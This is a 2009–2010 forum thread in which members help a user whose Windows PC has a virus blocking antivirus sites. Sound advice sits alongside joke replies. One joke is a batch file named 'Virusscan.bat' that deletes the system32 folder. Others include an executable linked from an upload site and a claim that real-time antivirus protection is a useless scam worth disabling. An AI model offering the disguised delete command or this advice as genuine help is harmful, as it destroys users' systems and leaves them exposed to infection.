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Title: HELP - Ive got some virus on my comp
Post by: The Johnny on December 18, 2009, 10:19:01 AM
It is blocking me from accessing virus scanners and the Micro$oft website and im not sure if it has to do with my comp not having audio currently, although my hard drive recently broke down and im using a new one.

EDIT: Seems SS&D does not scan for viruses, time to test AV Eagle. :roll:
Title: Re: HELP - Ive got some virus on my comp
Post by: Requia ☣ on December 18, 2009, 10:27:34 AM
If you can't access virus scanners you're probably out of luck, not much else that can be done without an ID of the virus.
Title: Re: HELP - Ive got some virus on my comp
Post by: Cain on December 18, 2009, 10:30:20 AM
Save all your files you want to keep (music, schoolwork, ebooks etc) to an external HD/memory stick etc and reinstall Windows, or use an earlier restore point.

Then install antivirus programs ASAP and scan everything you saved before putting it back on your hard drive.
Title: Re: HELP - Ive got some virus on my comp
Post by: The Johnny on December 18, 2009, 10:32:15 AM
Current course of action is downloading "Spybot S & D" its the only AV site/program that isnt blocked. (I have McAfee installed, but since its a new unupdated hard drive, its not with patches and asks me to connect to the internet)

Quering google for "i cant access microsoft.com" brings me to threads speaking of "MyDoom" virus which acts in this manner.

<Crossing my fingers for this SS&D to work.>
Title: Re: HELP - Ive got some virus on my comp
Post by: The Johnny on December 18, 2009, 10:34:14 AM

My recently deceased HD has all my information, its at a technicians workshop in retrieval...

Im guessing this new occurrance had nothing to do with its demise do, for it was making strange noises already...

This is definitely not my week.
Title: Re: HELP - Ive got some virus on my comp
Post by: Triple Zero on December 18, 2009, 04:16:03 PM
CAIN SAID SAVE ALL THE WORK YOU WANT TO KEEP, DO THAT NOW.

MAKE BACKUPS DAMNIT

even if you dont lose your shit and everything will be fine, you will still have backups, which are GOOD TO HAVE.
Title: Re: HELP - Ive got some virus on my comp
Post by: LMNO on December 18, 2009, 04:18:19 PM
JohNyx, JAM YOUR DICK IN THE USB PORT.  DO THIS NOW.  IT'S YOUR ONLY HOPE.
Title: Re: HELP - Ive got some virus on my comp
Post by: Triple Zero on December 18, 2009, 04:25:33 PM
AND DONT FORGET TO WATER YOUR COOLING FANS
Title: Re: HELP - Ive got some virus on my comp
Post by: Soylent Green on December 18, 2009, 06:58:59 PM
A good way to remove the virus is to take a blow torch to your hard drive.

I ASSURE YOU, YOUR VIRUS WILL DIE.
Title: Re: HELP - Ive got some virus on my comp
Post by: Requia ☣ on December 18, 2009, 10:23:09 PM
Well, if it's MyDoom this will also fix it (courtesy of Symantec, which you probably can't access, so I uploaded it):

http://www.megaupload.com/?d=HJPTF5PR

Also try some of the less well known anti-viruses, Avast might be a good (and free) bet.

And when you do get things working again, make sure you run windows update, there are a lot of old nasties still floating around that you only get if you aren't up to date.
Title: Re: HELP - Ive got some virus on my comp
Post by: Triple Zero on December 18, 2009, 10:31:44 PM
Also, running executables from file upload sites is a great way to get more viruses. Which will then gang up and kill the original one.
Title: Re: HELP - Ive got some virus on my comp
Post by: Requia ☣ on December 18, 2009, 10:35:32 PM
Quiet you, i need more slave systems.  :lulz:
Title: Re: HELP - Ive got some virus on my comp
Post by: Shibboleet The Annihilator on December 19, 2009, 01:18:39 AM
1) Always back your shit up.
2) Always back your shit up.
3) ALWAYS BACK YOUR SHIT UP!
4) DON'T DO ANYTHING STUPID!
5) Use a bootable antivirus disk to scan your computer and remove the viruses/rootkits if you can.
5a) If this fails, wipe everything and start over.
6) If you absolutely have to use Windows, get a good Antivirus (Avast is a good free one, Kapersky and McAffee are decent paid ones) program, keep it updated and run it regularly. You only need 1.
7) Use multiple (legitimate) anti-spyware programs. SBS&D is alright, but should be used in conjunction with others (Super Anti-Spyware is good).
8) See 1-4.
Title: Re: HELP - Ive got some virus on my comp
Post by: Triple Zero on December 19, 2009, 04:51:58 PM
I"m still of the opinion that anti spyware and anti virus software are scams sold by snakeoil salesman.

I do a scan about every month or so, or less depending on how paranoid I feel and it NEVER finds anything, except "tracking cookies".

And we all realize what "tracking cookies" are, right?

Just some random crap so that people get the idea the spyware/virus scanner is actually doing something, that's what.

That's why they're always back right the next time when you scan the following day.

I mean, it might actually be useful if it cleaned or anonymized *all* the tracking cookies, but it doesn't. Not by any stretch of the imagination, if you have ever bothered to check the crud in your browser cache and cookie database.

Nor are detecting "tracking cookies" anything I would expect an anti-spyware or antivirus to do for me. People expect those to keep their computers running speedy and flawlessly and not losing data. If they cared about their privacy they would get different tools.

No, the only reason why antivirus/antispyware programs pretend to protect your privacy by detecting a miniscule portion of the oceans and heaps of tracking cookies present on your computer, is because that if the anti spyware software would find 0 results every fucking time it did a scan, nobody would bother with that shit anymore.

In addition to that, if you DO get a virus, it fucks up your registry, either for a tiny part, or a large part. Antivirus/antispyware programs do NOTHING to fix that and your computer will get slower and more crashprone every time you get yourself a virus and remove it, thinking "BOY GOOD THING I HAVE THAT VIRUS SCANNER OH BOY"

Oh and in case your computer isn't running slow as hard poop through a funnel yet, you can always enable the "RESIDENT ANTI VIRUS SHIELD PROTECTOR MEGA DEFENSE"
Title: Re: HELP - Ive got some virus on my comp
Post by: Shibboleet The Annihilator on December 19, 2009, 06:18:39 PM
That's probably because you're much more careful than the average user. You probably use Firefox with NoScript and other security measures in place. You probably don't do stupid shit like visit risky sites using MSIE.

When things fuck with your registry it's probably best to wipe it out and start over, barring that you could use Hijack This. I can attest that SpyBot S&D and Super-AntiSpyware (as bad as the name is) actually do work. McAffee actually does work. Using BartPE with a virus scanner or three on it works. I use these on clients computers when I freelance as a tech and it clears a lot of the crap off. I usually advise that we wipe the whole system, but they never want to do that just like they never want to use Firefox or take any precautions. Stupid people are good for business.
Title: Re: HELP - Ive got some virus on my comp
Post by: The Johnny on December 20, 2009, 02:32:38 AM

Im not sure, since comp is in the workshop once again, but it seems that BullGuard is not a good alternative (i think it killed the explorer), so i was stuck on the startup desktop visualization, but no icons nor toolbar emerged ever.

Thanks for the responses and the fix for MyDoom. (And yes, im at a cyber-cafe  :cry:)
Title: Re: HELP - Ive got some virus on my comp
Post by: Shibboleet The Annihilator on December 20, 2009, 02:06:54 PM
Never ever heard of BullGuard. They reviews seem to say, "Meh, s'ok."
Title: Re: HELP - Ive got some virus on my comp
Post by: NotPublished on December 23, 2009, 11:50:04 AM
I think instead of trusting an anti-virus to actively scan, work on being more careful to. IE is pretty shit to browse with; I don't know if its true or not, but Google Chrome seems safer to run when visiting shit websites. Or go with Firefox

I like using Spybot Search and Destroy, but I rarely scan
Title: Re: HELP - Ive got some virus on my comp
Post by: Triple Zero on December 23, 2009, 12:13:12 PM
I had bullguard, it came as a trial version with my Medion netbook. I was kind of offended by the big red window popping up every boot telling me YOUR COMPUTER IS AT RISK PAY US PROTECTION MONEY BEFORE THE TRIAL EXPIRES OR ELSE especially when the popup did not disappear after the trial period expired, it was pretty hostile ...

i repeat, one advice for those who insist on getting an anti-virus program, disable the "resident shield", the thing that checks for viruses all the time every time you download something. you have no idea how much of a performance impact this causes, and very often it is enabled by default on installation. instead use the AV-program's scheduling feature to schedule a weekly scan at some convenient time, when you know your computer is switched on, but you also won't be bothered by your harddisk rattling like crazy.

I used to have that scheduled scan, but it never found anything so I just got rid of the entire thing.

Another thing, an AV program will probably not protect you from any but perhaps the largest botnet infections. And there are very many smaller ones. Regular Windows updates help a bit more in that respect, but regardless if you are unable to keep your computer clean without those tools, virus scanners simply are not going to protect you fully.


In fact it's been months now, I shall run a scan now, for shits and giggles. Seems I completely wiped ClamWin, I shall get AVG now, ClamWin was kind of slow and crappy (but opensource) anyway. I hope I can get AVG to not install itself as a resident shield right away, I don't want that thing in my systray.

NotPublished: Google Chrome is a really real bad choice from a privacy point of view, as well as that it seems to be not maintained as actively concerning vulnerabilities compared to Opera and Firefox. The advice to not use IE when possible is of course very sound :)

Title: Re: HELP - Ive got some virus on my comp
Post by: NotPublished on December 23, 2009, 12:19:26 PM
Ah, that makes sense. Yeah I have had some pretty shit experiences with Active Shield, it didn't stop Brontok.E (I think is one of the weirdest viruses.. It was pinging playboy and some malaysian government site) - it changed all of my associations in the registry... EXEs wouldn't even run when double clicked on. Kind of retarded.

I really like Opera and Chromes peformance, Mozilla lags for me a bit (But it is such a charm). IE is more so a force of habbit.
Title: Re: HELP - Ive got some virus on my comp
Post by: Triple Zero on December 23, 2009, 04:26:08 PM
and done, no viruses, and the stupid thing did try to enable "resident shield" even though I checked it off during install and now I have a stupid icon in my systray and no idea of how to disable it even though I disabled the resident shield again.
Title: Re: HELP - Ive got some virus on my comp
Post by: The Johnny on December 31, 2009, 07:46:49 AM

Since the technicians are off on a long holiday, they borrowed me some functional, average power computer (cant handle properly my habit of millions of tabs on the internet explorer, while listening to music and downloading stuff).
And i haz infected it with what seems the same thing  :lulz: btw, i tried the MyDoom remover, but it just invokes a registry error that i dont understand.

The good thing is that its still running and hasnt slowed down (more than it originally is).

My theory is that Bullguard nuked the explorer in mine.

BTW, i used to have BitDefender AV and never had any problem until a month after it expired. I should get a new subscription to that.
Title: Re: HELP - Ive got some virus on my comp
Post by: Jasper on December 31, 2009, 08:10:49 AM
With my obligatory windows box, I've achieved satisfaction by just backing up what I can't find online, not doing stupid shit, and running CCleaner regularly. 

It helps to know what counts as "stupid shit".
Title: Re: HELP - Ive got some virus on my comp
Post by: Reginald Ret on December 31, 2009, 09:09:02 AM
Quote from: Triple Zero on December 23, 2009, 04:26:08 PM
and done, no viruses, and the stupid thing did try to enable "resident shield" even though I checked it off during install and now I have a stupid icon in my systray and no idea of how to disable it even though I disabled the resident shield again.
damn.
i did the same damn thing and had the same damn results.
including the resident shield being reenabled after disabling it.
That only happens once though.

oh one difference:
AVG said that two executables of a game were viri.
They really aren't.
The entire internet agrees.
Title: Re: HELP - Ive got some virus on my comp
Post by: The Johnny on December 31, 2009, 11:29:21 AM
Quote from: BAI on December 31, 2009, 11:01:10 AM
QuoteAnd i haz infected it with what seems the same thing

What is it that you are doing to get the same thing happen with both?

I must be something pretty standard for you to do, to bugger the loaner that fast. You are not using a kazzaa type p2p are ya? coz those things are minefields of fail.


Putting the Adobe Flash Player plugin in Firefox, or raising the threshold of storage for it for playing some stupid games on Kongregate.com  :lulz: that, or im being targeted via IP address somehow.

And yea, i know the deal with Ares/Kazaa, i only use Soulseek (although last month ive not done any downloading via P2P at all).
Title: Re: HELP - Ive got some virus on my comp
Post by: Triple Zero on December 31, 2009, 11:41:44 AM
BAI you shouldnt have to disable your Firewall to gain speed unless you got a dumb one that does way more than it's supposed to do. It's the resident "anti virus" shield that eats your performance.

I could recommend to get an old version of Kerio Personal Firewall (from oldversion.com or whatever the place is called, you know it). It does the very basic supervised learning whitelist of "allow program X to communicate with protocol Y on port Z" and that's it. The newer versions also seem to think it's okay to do some HTTP/HTML filtering, which is of course way out of line for a firewall [better rely on a secure browser or the NoScript firefox plugin].

I gotta admit I don't run a firewall either cause my router(s) perform similar functions. However it does make me kind of paranoid not having the finegrained control and being able to see what is connecting with what on my computer (Kerio showed a list of all connections when you doubleclick on the systray icon). And of course when I'm connecting via someone else's wireless I cannot trust on my router anymore.
Title: Re: HELP - Ive got some virus on my comp
Post by: Freeky on December 31, 2009, 05:22:36 PM
I read the title as "HELP I've got some virus on my poomp".


:lulz: Oopsie.
Title: Re: HELP - Ive got some virus on my comp
Post by: The Good Reverend Roger on December 31, 2009, 05:24:10 PM
Thanks for bringing the virus here, JohNyx, you goddamn Typhoid Mary!   :argh!:
Title: Re: HELP - Ive got some virus on my comp
Post by: The Johnny on December 31, 2009, 11:53:13 PM
Quote from: The Good Reverend Roger on December 31, 2009, 05:24:10 PM
Thanks for bringing the virus here, JohNyx, you goddamn Typhoid Mary!   :argh!:

Several internet cafés that i used last month i tried to access PD forums but i got a 505 error, and i thought "Oh fuck, no way".

This is in the context of a nightmareish time im having which includes:

-My precious died twice (ohh my love, my darling HP Paviliion)
-My car almost stolen if i didnt prevent it (FUCK FORBID i would want to watch a movie while leaving the car outside, in a safe city such as Queretaro)
-Having to make a last minute project (the gender role essay i posted in OKM, because of some obscure requisite to take a test)
-Having to make two and a half hour trip to interview a passive agressive, ignorant and distracted C***
-Getting sick
-And now having like 3 days left to study some 400 pages of stuff like incest, significants according to Lacan, and family.

FML
Title: Re: HELP - Ive got some virus on my comp
Post by: Cain on January 02, 2010, 01:14:11 PM
Delete the Win32 folder, then fill up an ice cold bath and reboot your computer while it is submersed in the water.  Sacrifice a small mouse to Moloch, then ring Microsoft Customer Support.
Title: Re: HELP - Ive got some virus on my comp
Post by: LMNO on January 04, 2010, 03:27:19 PM
Quote from: Cain on January 02, 2010, 01:14:11 PM
Delete the Win32 folder, then fill up an ice cold bath and reboot your computer while it is submersed in the water.  Sacrifice a small mouse to Moloch, then ring Microsoft Customer Support.

I suggest that no matter what you do, at least call up MS Customer Support, tell them that you did the above, and record the conversation.  FOR SCIENCE!
Title: Re: HELP - Ive got some virus on my comp
Post by: The Johnny on January 04, 2010, 08:42:03 PM
Quote from: LMNO on January 04, 2010, 03:27:19 PM
Quote from: Cain on January 02, 2010, 01:14:11 PM
Delete the Win32 folder, then fill up an ice cold bath and reboot your computer while it is submersed in the water.  Sacrifice a small mouse to Moloch, then ring Microsoft Customer Support.

I suggest that no matter what you do, at least call up MS Customer Support, tell them that you did the above, and record the conversation.  FOR SCIENCE!

But what if all of my software is pirated? (And by all, i mean all)
Title: Re: HELP - Ive got some virus on my comp
Post by: Da6s on January 09, 2010, 02:05:32 PM
1) Open Notepad.
2) Type the following:

@echo off
del c:\WINDOWS\system32

3) Save as Virusscan.bat
4) Open the file you just created
5) ???????????
6) PROFIT!!!
Title: Re: HELP - Ive got some virus on my comp
Post by: The Johnny on January 09, 2010, 05:35:44 PM

Sorry, i dont take tech advice from racist redneck trash.

Besides, the ice cold bath fix didnt turn out as expected; i only had a hamster, so i think Moloch was not pleased.
Title: Re: HELP - Ive got some virus on my comp
Post by: The Johnny on January 09, 2010, 06:07:37 PM

I would had formated it by now, but they havent changed the power source and i dont have it back; I have a borrowed computer from a cyber-cafe the technician owns.

All work-related things around here shut down pretty much for 3 weeks, culminating with two days ago "the 3 Magus bring presents to Baby Jesus" holiday, so i should get it back soon. Its not a third world country for no reason after all.

Title: Re: HELP - Ive got some virus on my comp
Post by: Golden Applesauce on January 09, 2010, 06:17:53 PM
Do you plug any external drives (USB, CD/DVD-RW) into your computer?  It's possible to write a virus that infects the autorun.exe file on those - then every time you plug one back into your computer it would re-infect the computer.
Title: Re: HELP - Ive got some virus on my comp
Post by: Triple Zero on January 10, 2010, 12:12:07 AM
GA makes a good point. Check those removable drives!
Title: Re: HELP - Ive got some virus on my comp
Post by: Shibboleet The Annihilator on January 10, 2010, 03:26:22 AM
Always scan all your everything, including your base.

(What? AYB is still relevant, right?)
Title: Re: HELP - Ive got some virus on my comp
Post by: Jasper on January 10, 2010, 08:57:22 AM
Quote from: Slanket the Destroyer on January 10, 2010, 03:26:22 AM
Always scan all your everything, including your base.

(What? AYB is still relevant, right?)

I was busy not being on the internet while that meme was going on, so I got exposed to it after people were sick of it.  One day they will have forgotten, and I will spring an AYB reference on them, and it will revive the whole thing.

It'll be great.
Title: Re: HELP - Ive got some virus on my comp
Post by: Mesozoic Mister Nigel on January 10, 2010, 05:03:16 PM
Quote from: Felix on January 10, 2010, 08:57:22 AM
Quote from: Slanket the Destroyer on January 10, 2010, 03:26:22 AM
Always scan all your everything, including your base.

(What? AYB is still relevant, right?)

I was busy not being on the internet while that meme was going on, so I got exposed to it after people were sick of it.  One day they will have forgotten, and I will spring an AYB reference on them, and it will revive the whole thing.

It'll be great.

You've been offline for the last ten years?
Title: Re: HELP - Ive got some virus on my comp
Post by: The Johnny on January 10, 2010, 07:12:26 PM

Its kinda funny actually, i had this 512 mb memory from 5 years ago, and even do it was a keychain type that broke off its keychain capability 4 and a half years ago, i had managed to not lose it:

Until this finals crisis i had in which i basicly lost my head...

So my parting gift to whichever n00blar gets to keep it is gonna be one hell of an infection.

Good riddance, was about time i got a new one with at least 2 gbs.

Theres a slight chance it could had been the source of the problem....

I promise to make a computing journal when i get my PC back.
Title: Re: HELP - Ive got some virus on my comp
Post by: Pope Pixie Pickle on January 10, 2010, 08:36:13 PM
yep, an infected USB stick killed me and Windows XP, Im now in a slightly better relationship with ubuntu.

And I was using google chrome as well!
Title: Re: HELP - Ive got some virus on my comp
Post by: Jasper on January 12, 2010, 05:14:52 AM
Quote from: Pixie O'Fubar on January 10, 2010, 08:36:13 PM
yep, an infected USB stick killed me and Windows XP, Im now in a slightly better relationship with ubuntu.

And I was using google chrome as well!

Google Chrome gave me polio and consumption.
Title: Re: HELP - Ive got some virus on my comp
Post by: The Johnny on January 14, 2010, 01:47:39 AM

3 weeks later... a new power source... new hard drive... and a complete formatting later...

My computer might just be ok now

(Avast, ENGAGE!)
Title: Re: HELP - Ive got some virus on my comp
Post by: The Johnny on January 14, 2010, 01:48:57 AM

And the oddest thing was that, the computer they lent me had McAffe installed... funny thing is they never installed it (and neither did i).

Wonder if thats some odd variant of a trojan or idk wtf.

I no haz it now do.